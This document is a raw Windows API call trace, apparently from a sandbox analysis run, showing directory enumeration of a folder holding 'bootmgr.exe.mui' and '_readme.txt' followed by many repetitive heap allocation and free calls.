lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a7f710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a7f710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.244] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a7f710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a7f710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.244] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.244] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a7f710, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a7f710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a7f710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.244] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a7f710, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a7f710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a7f710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.244] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.244] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.247] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.248] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.251] 